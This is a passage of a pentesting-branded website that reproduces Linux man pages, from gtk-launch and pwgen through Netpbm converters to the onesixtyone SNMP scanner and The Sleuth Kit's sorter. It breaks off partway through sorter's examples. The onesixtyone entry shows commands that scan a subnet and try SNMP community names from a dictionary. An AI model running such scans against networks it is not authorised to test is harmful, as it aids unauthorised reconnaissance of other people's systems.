              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

570 - Linux cli command gtk-launch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-launch and provides detailed information about the command gtk-launch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-launch.

NAME 🖥️ gtk-launch 🖥️

launch - Launch an application

SYNOPSIS

gtk-launch [OPTION…] APPLICATION [URI…]

DESCRIPTION

gtk-launch launches an application using the given name. The application is started with proper startup notification on a default display, unless specified otherwise.

gtk-launch takes at least one argument, the name of the application to launch. The name should match application desktop file name, as residing in /usr/share/application, with or without the .desktop suffix.

If called with more than one argument, the rest of them besides the application name are considered URI locations and are passed as arguments to the launched application.

OPTIONS

The following options are understood:

-?, –help

Prints a short help text and exits.

–version

Prints the program version and exits.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

571 - Linux cli command pnmtorast

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtorast and provides detailed information about the command pnmtorast, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtorast.

.

NAME 🖥️ pnmtorast 🖥️

convert a PPM into a Sun rasterfile

SYNOPSIS

pnmtorast [-standard|-rle] [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtorastreads a PPM image as input and produces a Sun rasterfile as output.

Color values in Sun rasterfiles are eight bits wide, so pnmtorast will automatically scale colors to have a maxval of 255. An extra pamdepth step is not necessary.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtorast recognizes the following command line options:

All options can be abbreviated to their shortest unique prefix.

-standard
Forces the result to be in RT_STANDARD form.

-rle
Forces the result to be in RT_BYTE_ENCODED, which is smaller but, well, less standard.

The default is -rle.

SEE ALSO

rasttopnm(1) , pnm(1)

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtorast.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

572 - Linux cli command pwgen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pwgen and provides detailed information about the command pwgen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pwgen.

NAME 🖥️ pwgen 🖥️

generate pronounceable passwords

SYNOPSIS

pwgen [ OPTION ] [ pw_length ] [ num_pw ]

DESCRIPTION

The pwgen program generates passwords which are designed to be easily memorized by humans, while being as secure as possible. Human-memorable passwords are never going to be as secure as completely completely random passwords. In particular, passwords generated by pwgen without the -s option should not be used in places where the password could be attacked via an off-line brute-force attack. On the other hand, completely randomly generated passwords have a tendency to be written down, and are subject to being compromised in that fashion.

The pwgen program is designed to be used both interactively, and in shell scripts. Hence, its default behavior differs depending on whether the standard output is a tty device or a pipe to another program. Used interactively, pwgen will display a screenful of passwords, allowing the user to pick a single password, and then quickly erase the screen. This prevents someone from being able to “shoulder surf” the user’s chosen password.

When standard output (stdout) is not a tty, pwgen will only generate one password, as this tends to be much more convenient for shell scripts, and in order to be compatible with previous versions of this program.

OPTIONS

-0, –no-numerals
Don’t include numbers in the generated passwords.

-1
Print the generated passwords one per line.

-A, –no-capitalize
Don’t bother to include any capital letters in the generated passwords.

-a, –alt-phonics
This option doesn’t do anything special; it is present only for backwards compatibility.

-B, –ambiguous
Don’t use characters that could be confused by the user when printed, such as ’l’ and ‘1’, or ‘0’ or ‘O’. This reduces the number of possible passwords significantly, and as such reduces the quality of the passwords. It may be useful for users who have bad vision, but in general use of this option is not recommended.

-c, –capitalize
Include at least one capital letter in the password. This is the default if the standard output is a tty device.

-C
Print the generated passwords in columns. This is the default if the standard output is a tty device.

-N, –num-passwords=num
Generate num passwords. This defaults to a screenful if passwords are printed by columns, and one password otherwise.

-n, –numerals
Include at least one number in the password. This is the default if the standard output is a tty device.

-H, –sha1=/path/to/file[#seed]
Will use the sha1’s hash of given file and the optional seed to create password. It will allow you to compute the same password later, if you remember the file, seed, and pwgen’s options used. ie: pwgen -H ~/your_favorite.mp3#[email protected] gives a list of possibles passwords for your pop3 account, and you can ask this list again and again.

WARNING: The passwords generated using this option are not very random. If you use this option, make sure the attacker can not obtain a copy of the file. Also, note that the name of the file may be easily available from the ~/.history or ~/.bash_history file.

-h, –help
Print a help message.

**-r chars, **–remove-chars=chars
Don’t use the specified characters in password. This option will disable the phomeme-based generator and uses the random password generator.

-s, –secure
Generate completely random, hard-to-memorize passwords. These should only be used for machine passwords, since otherwise it’s almost guaranteed that users will simply write the password on a piece of paper taped to the monitor…

-v, –no-vowels
Generate random passwords that do not contain vowels or numbers that might be mistaken for vowels. It provides less secure passwords to allow system administrators to not have to worry with random passwords accidentally contain offensive substrings.

-y, –symbols
Include at least one special character in the password.

AUTHOR

This version of pwgen was written by Theodore Ts’o <[email protected]>. It is modelled after a program originally written by Brandon S. Allbery, and then later extensively modified by Olaf Titz, Jim Lynch, and others. It was rewritten from scratch by Theodore Ts’o because the original program was somewhat of a hack, and thus hard to maintain, and because the licensing status of the program was unclear.

SEE ALSO

passwd(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

573 - Linux cli command jpeg2ktopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jpeg2ktopam and provides detailed information about the command jpeg2ktopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jpeg2ktopam.

.

NAME 🖥️ jpeg2ktopam 🖥️

convert JPEG-2000 code stream to PAM/PNM

SYNOPSIS

jpeg2ktopam [-verbose] [**-debuglevel=**number] filename

OPTION USAGE

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

jpeg2ktopam converts the named JPEG-2000 file (JP2 or JPC), or Standard Input if no file is named, to a PBM, PGM, PPM, or PAM file on Standard Output.

The JPEG-2000 specification specifies two different formats: JP2 and JPEG-2000 code stream (JPC). JP2 represents a visual image quite specifically, whereas JPC is a more or less arbitrary array of codes. A JP2 image contains a JPC stream and metadata describing how that stream represents a visual image. jpeg2ktopam converts both.

If the color space identified in the image is grayscale (JAS_IMAGE_CS_GRAY), jpeg2ktopam generates a PGM image, unless the image contains only one bit per pixel, in which case jpeg2ktopam generates PBM. If the color space is RGB (JAS_IMAGE_CS_RGB), jpeg2ktopam generates a PPM image. If the input image is anything else, jpeg2ktopam generates a PAM image with no tuple type identified.

In the PGM and PPM cases, jpeg2ktopam assumes the intensity values in the input image have the same meaning as for PGM and PPM. One thing that implies is the ITU-R Recommendation BT.709 color space, which means the assumption is false for JP2 input. JP2 input uses SRGB color encoding. So if you use jpeg2ktopam to convert a JP2 image to PPM, it changes the visual image (slightly) – the colors in the output are not the same as in the input.

In the PAM image, the output samples are numerically identical to the input samples. If the input samples are signed, they are represented in two’s complement form in the output (because PAM samples are always unsigned). The PAM plane numbers are identical to the JPC component numbers.

A JPEG-2000 image has a “precision,” which is the number of bits used for each code (in Netpbm lingo, “sample”). Actually, each component has a separate precision. The maxval of a PGM, PPM, or PAM output is the largest number you can represent in the JPEG-2000 precision of the JPEG-2000 component with the greatest precision. The samples in all components are scaled to that maxval. So if the red component has a precision of 4 bits and the green component has a precision of 6 bits, the maxval is 63 and the red component codes from the JPEG-2000 image are multiplied by 63/15 to generate the output samples.

jpeg2ktopam interprets the JPEG-2000 input with the Jasper JPEG-2000 library . See documentation of the library for details on what jpeg2ktopam handles. Note that the Jasper library contains facilities for writing PNM images, but jpeg2ktopam does not use those. It uses the Netpbm library instead. Note that the makers of the Jasper library write it “JasPer,” but Netpbm documentation follows standard American English typography rules, which don’t allow that kind of capitalization.

Use pamtojpeg2k to convert in the other direction.

The program jasper, which is packaged with the Jasper JPEG-2000 library, also converts between JPEG-2000 and PNM formats. Because it’s packaged with the library, it may exploit it better, especially recently added features. However, since it does not use the Netpbm library to read and write the Netpbm formats, it doesn’t do as good a job on that side.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), jpeg2ktopam recognizes the following command line options:

-verbose
This option causes jpeg2ktopam to issue informational messages about the conversion process.

-debuglevel=number
This option controls debug messages from the Jasper library. jpeg2ktopam passes number as the debug level to the Jasper JPEG-2000 decoder.

EXAMPLES

  jpeg2ktopam myimg.jpc >myimg.ppm

ABOUT JPEG-2000

See the pamtojpeg2k manual(1) for general information on JPEG-2000 compression and the JPEG-2000 formats.

SEE ALSO

pamtojpeg2k(1) , jpegtopnm(1) , ppm(1) , pgm(1) , pbm(1) , pam(1) ,

HISTORY

jpeg2ktopam was added to Netpbm in Release 10.12 (November 2002).

Before Netpbm 10.49 (December 2009), jpeg2ktopam could not convert a JP2 file – only JPC.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/jpeg2ktopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

574 - Linux cli command llvm-opt-report-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-opt-report-16 and provides detailed information about the command llvm-opt-report-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-opt-report-16.

NAME 🖥️ llvm-opt-report-16 🖥️

opt-report - generate optimization report from YAML

SYNOPSIS

llvm-opt-report [options] [input]

DESCRIPTION

llvm-opt-report is a tool to generate an optimization report from YAML optimization record files.

You need to create an input YAML optimization record file before running llvm-opt-report.

$ clang -c foo.c -o foo.o -O3 -fsave-optimization-record

Then, you create a report using the llvm-opt-report command with the YAML optimization record file foo.opt.yaml as input.

$ llvm-opt-report foo.opt.yaml -o foo.lst

foo.lst is the generated optimization report.

< foo.c 1 | void bar(); 2 | void foo() { bar(); } 3 | 4 | void Test(int *res, int *c, int *d, int *p, int n) { 5 | int i; 6 | 7 | #pragma clang loop vectorize(assume_safety) 8 V4,1 | for (i = 0; i < 1600; i++) { 9 | res[i] = (p[i] == 0) ? res[i] : res[i] + d[i]; 10 | } 11 | 12 U16 | for (i = 0; i < 16; i++) { 13 | res[i] = (p[i] == 0) ? res[i] : res[i] + d[i]; 14 | } 15 | 16 I | foo(); 17 | 18 | foo(); bar(); foo(); I | ^ I | ^ 19 | } 20 |

Symbols printed on the left side of the program indicate what kind of optimization was performed. The meanings of the symbols are as follows:

  • I: The function is inlined.

  • U: The loop is unrolled. The following number indicates the unroll factor.

  • V: The loop is vectorized. The following numbers indicate the vector length and the interleave factor.

OPTIONS

If input is “-” or omitted, llvm-opt-report reads from standard input. Otherwise, it will read from the specified filename.

If the -o option is omitted, then llvm-opt-report will send its output to standard output. If the -o option specifies “-”, then the output will also be sent to standard output.

–help
Display available options.

–version
Display the version of this program.

–format=<string>
The format of the optimization record file. The Argument is one of the following:

  • yaml

  • yaml-strtab

  • bitstream

–no-demangle
Do not demangle function names.

-o=<string>
Output file.

-r=<string>
Root for relative input paths.

-s
Do not include vectorization factors, etc.

EXIT STATUS

llvm-opt-report returns 0 on success. Otherwise, an error message is printed to standard error, and the tool returns 1.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

575 - Linux cli command perlivp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perlivp and provides detailed information about the command perlivp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perlivp.

NAME 🖥️ perlivp 🖥️

Perl Installation Verification Procedure

SYNOPSIS

perlivp [-p] [-v] [-h]

DESCRIPTION

The perlivp program is set up at Perl source code build time to test the Perl version it was built under. It can be used after running:

make install

(or your platform’s equivalent procedure) to verify that perl and its libraries have been installed correctly. A correct installation is verified by output that looks like:

ok 1 ok 2

etc.

OPTIONS

-h help
Prints out a brief help message.

-p print preface
Gives a description of each test prior to performing it.

-v verbose
Gives more detailed information about each test, after it has been performed. Note that any failed tests ought to print out some extra information whether or not -v is thrown.

DIAGNOSTICS

  • print “# Perl binary ‘$perlpath’ does not appear executable. “; Likely to occur for a perl binary that was not properly installed. Correct by conducting a proper installation.

  • print “# Perl version ‘$]’ installed, expected $ivp_VERSION. “; Likely to occur for a perl that was not properly installed. Correct by conducting a proper installation.

  • print “# Perl \INC directory ‘$_’ does not appear to exist. “; Likely to occur for a perl library tree that was not properly installed. Correct by conducting a proper installation.

  • print “# Needed module ‘$_’ does not appear to be properly installed. “; One of the two modules that is used by perlivp was not present in the installation. This is a serious error since it adversely affects perlivp’s ability to function. You may be able to correct this by performing a proper perl installation.

  • print “# Required module ‘$_’ does not appear to be properly installed. “; An attempt to eval "require $module" failed, even though the list of extensions indicated that it should succeed. Correct by conducting a proper installation.

  • print “# Unnecessary module ‘bLuRfle’ appears to be installed. “; This test not coming out ok could indicate that you have in fact installed a bLuRfle.pm module or that the eval " require \"$module_name.pm\"; " test may give misleading results with your installation of perl. If yours is the latter case then please let the author know.

  • print “# file”,+($#missing == 0) ? ’’ : ’s’,” missing from installation: “; One or more files turned up missing according to a run of ExtUtils::Installed -> validate() over your installation. Correct by conducting a proper installation.

For further information on how to conduct a proper installation consult the INSTALL file that comes with the perl source and the README file for your platform.

AUTHOR

Peter Prymmer

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

576 - Linux cli command onesixtyone

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command onesixtyone and provides detailed information about the command onesixtyone, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the onesixtyone.

NAME 🖥️ onesixtyone 🖥️

fast and simple SNMP scanner

SYNOPSIS

onesixtyone [options] <host> <community>

OPTIONS

-c <communityfile> file with community names to try

-i <inputfile>
file with target hosts

-o <outputfile>
output log

-p
specify an alternate destination SNMP port

-d
debug mode, use twice for more information

-s
short mode, only print IP addresses

-w n
wait n milliseconds (1/1000 of a second) between sending packets (default 10)

-q
quiet mode, do not print log to stdout, use with -o

host is either an IPv4 address or an IPv4 address and a netmask default community names are: public private

Max number of hosts : 65535

Max community length: 32

Max number of communities: 16384

EXAMPLES

onesixtyone 192.168.4.0/24 public
onesixtyone -c dict.txt -i hosts -o my.log -w 100

COPYRIGHT

License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

577 - Linux cli command sorter

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sorter and provides detailed information about the command sorter, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sorter.

NAME 🖥️ sorter 🖥️

Sort files in an image into categories based on file type

SYNOPSIS

[-b size ] [-e] [-E] [-h] [-l] [-md5] [-s] [-sha1] [-U] [-v] [-V] [-a hash_alert ] [-c config ] [-C config ] [-d dir ] [-m mnt ] [-n nsrl_db ] [-x hash_exclude ] [-i imgtype] [-o imgoffset] [-f fstype] image [image] [meta_addr]

DESCRIPTION

sorter is a Perl script that analyzes a file system to organize the allocated and unallocated files by file type. It runs the ‘file’ command on each file and organizes the files according to the rules in configuration files. Extension mismatching is also done to identify ‘hidden’ files. One can also provide hash databases for files that are known to be good and can be ignored and files that are known to be bad and should be alerted.

By default, the program uses the configuration files in the directory where The Sleuth Kit was installed. Those can be overruled with run-time options. There is a standard configuration file for all file system types and then a specific one for a given operating system.

ARGUMENTS

The required arguments are as follows. This will analyze one or more images and either save the results in the ‘-d’ directory or list the results to STDOUT (if ‘-l’ is given).

-d dir
Specify the location of where all files should be written. This includes the index files and subdirectories if the ‘-s’ flag is given. This MUST be given, unless the ‘-l’ list flag is given.

-l
List information to STDOUT (no files are ever written). This is useful for Incident Response, with the use of ’netcat’. This cannot be used if ‘-d’ is used.

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

The options are as follows:

-f fstype
Specify the file system type of the image(s). This is the same type that The Sleuth Kit uses.

-i imgtype
Specify the image type in which the file system is located. This is the same type that The Sleuth Kit uses.

-o imgoffset
Specify the sector offset from the beginning of the image to the start of the file system.

-b size
Specify the minimum size of file to process. All files less than this size will be ignored.

-c config
Specify the location of an additional configuration file. This file will be loaded in addition to the standard ones in the install directory. These settings will have priority over the standard files.

-C config
Specify the location of the ONLY configuration file. The standard config files will not be loaded if this option is given. For example, in the ‘share/sort’ directory there is a file called ‘images.sort’. This file contains only rules about graphic images. If it is specified with -C, then only images will be saved about the image.

-m mnt
Specify the mounting point of the image being analyzed. This is only for cosmetic reasons. When the entries in the output files are written, the files will have a the full path instead of just the relative path. If this is given, then only one image can be given.

-a hash_alert
Specify the location a hash database with entries of known ‘bad’ files. If any file is found with an MD5 hash value in this database, it will be placed in a special alert file. This database must have been indexed for MD5 using ‘hfind’ in The Sleuth Kit before it is used by sorter.

-n nsrl_db
Specify the location of the NIST National Software Reference Library (NSRL) database (www.nsrl.nist.org). Any file found in the NSRL will be ignored and not placed into a category. The database must be indexed for MD5 with ‘hfind’ in The Sleuth Kit before it is used by sorter. The database file is currently called ‘NSRLFile.txt’.

-x hash_exclude
Specify the location a hash database with entries of known ‘good’ files. If any file is found with an MD5 hash value in this database, it will be ignored and not processed or saved to the category files. This database must have been indexed for MD5 using ‘hfind’ in The Sleuth Kit before it is used by sorter.

-e
Perform extension mismatch checks on (no category index files are generated)

-U
Do no save data about unknown file types. By default, an ‘unknown’ file is created for files where the ‘file’ output is not known. This allows one to refine their configuration. If this is not desired, use this flag.

-h
Create category files in HTML

-md5
Calculate the MD5 value for each file and save it in the category file. This will be done automatically when any of the databases are given.

-sha1
Calculate the SHA-1 value for each file and save it in the category file.

-s
Save the actual file content to sub-directories in the directory specified by ‘-d’. For example, all JPG and GIF files would actually be saved in the ‘images’ directory. If ‘-h’ is also given, thumbnails of graphic images are also created.

-v
Display verbose information

-V
Display version.

[meta_addr]
The meta data address of the directory to start with. By default, the root directory is used. If this is given, then only one image can be given.

HIGH-LEVEL OVERVIEW OF PROCESS

sorter is a Perl script that interacts with other The Sleuth Kit tools. It starts by reading the configuration files from the installation directory. There is a general configuration file and a specific one for each operating system. The specific one is determined from the ‘-f’ flag. Each configuration file contains rules for processing the output of the ‘file’ command. One type of line identifies which category (i.e. ‘images’) a given ‘file’ output belongs to (i.e. ‘image data’) (using regular expressions). Another rule shows the file extensions (i.e. .txt) that belong to a ‘file’ output (i.e. ASCII(.*?)text). See the Rules section below.

The program then runs the ‘fls’ tool in The Sleuth Kit to identify the files in the file system image. Each identified file is viewed using the ‘icat’ tool. If a hash database is given, the hash of the file is calculated and looked up. If it is found in an ‘alert’ database, then it is added to a special ‘alert.txt’ file. If it is found in the NSRL or ’exclude’ database, then it is ignored as a known good file. Excluded files are recorded in an ’exclude’ file for future reference but it is not saved in the category files.

The ‘file’ command is then run to identify the file type (based on header information). The configuration file rules are used to identify which category it belongs to. An entry is added to the corresponding category file (in the ‘-d dir’ directory). If the ‘-s’ flag is given, then a copy of the file is saved in a subdirectory of the same name as the category. If the HTML format is used, then hyper-links will allow one to easily view saved files and view what is in each category.

Files that do not have a category are recorded in the ‘unknown’ category and the ‘data’ category. ‘data’ is for files with a structure that ‘file’ does not know and ‘unknown’ is for files with a structure that ‘file’ knows about. These are saved for future reference, but the unknown category can be ignored by using the ‘-U’ flag.

A copy of the files can be saved by using the ‘-s’ flag. If so, then the files are saved in a subdirectory that is named with the category name. Each file is named using the file system image name followed by the meta data address and the original file extension. The category index file can be used to translate the actual name to the saved name. The HTML format makes viewing easier as there are links to each file from the category index file.

The program will also consult the rules about the file extension. If the file has an extension at the end of it (anything after a ‘.’), it will be compared to the rules. If the extension is not found in the rules as a valid extension for the file type, it will be added to the file of ‘mismatch’. If the file does not have an extension it will not be entered even if the file type has valid extensions. This check is done even if the file is found in one of the known good hash databases. If it is found in one of those, it will be added to a special file. Files of type ‘data’ have no extension checks done by default (as they have an unknown structure).

The program repeats the above procedures using the output of the ‘ils’ command as well. This allows ‘sorter’ to examine the contents of unallocated files that still have pointers to the data units (not all file systems will produce data from this step).

CONFIGURATION FILES

Configuration files are used to define what file types belong in which categories and what extensions belong to what file types. Configuration files are distributed with the ‘sorter’ tool and are located in the installation directory in the ‘share/sorter’ directory.

The ‘default.sort’ file is used by any file system type. It contains entries for common file types. A specific operating system file also exists, which is useful for extensions that are specific to a given OS. By default, the default file and the OS specific one will be used. Using the ‘-c’ flag, an additional file can be used. If the ‘-C’ flag is used, then only the supplied configuration file is used.

There are two rule types in the configuration files. Each rule starts with a header that specifies which rule type it is (category or ext). Both rule types have two additional columns that can be separated by any white space.

The category rule has the category name as the second column and a Perl regular expression in the third column. The category name can not have any spaces in it and can only be letters and numbers. The regular expression is used to examine the output of ‘file’. The regular expression will be used case insensitive. More than one rule can exist for a category, but only one category can exist for a given file output. For example:

This saves all file output with ‘image data’ anywhere in it to the ‘images’ category: category images image data

This saves all file output that has ‘ASCII’ followed by anything and then ’text’ to be saved to the ’text’ category: category text ASCII(.*?)text

This saves all file output that is just ‘data’ to the ‘data’ category (the ^ and $ define the boundaries in Perl). The ‘data’ value is common in the output of file for unknown binary data. category data ^data?

There is a special category of ‘ignore’ that is used to skip over files of this type. This is mainly a time and space saver.

The extension rule is similar except that the second column has the value extensions for the file output. Multiple rules can exist for the same file type. The comparison will be done case insensitive. If no extension is valid for the file type, a rule does not need to be made. That is already assumed.

For example, the ASCII is used for several file extensions so the following rules could exist:

ext txt,log ASCII(.*?)text ext c,cpp,h,js ASCII(.*?)text

Please email me any rules that you find useful for standard investigations and I will incorporate them into future releases (carrier at sleuthkit dot org).

EXAMPLES

To run sorter with no hash databases, the following can be used:

# sorter -f ntfs -d data/sorter images/hda1.dd # sorter -d data/sorter images/hda1.dd

# sorter -i raw -f ntfs -o 63 -d data/sorter images/hda.dd

To include the NSRL, an exclude, and an alert hash database:

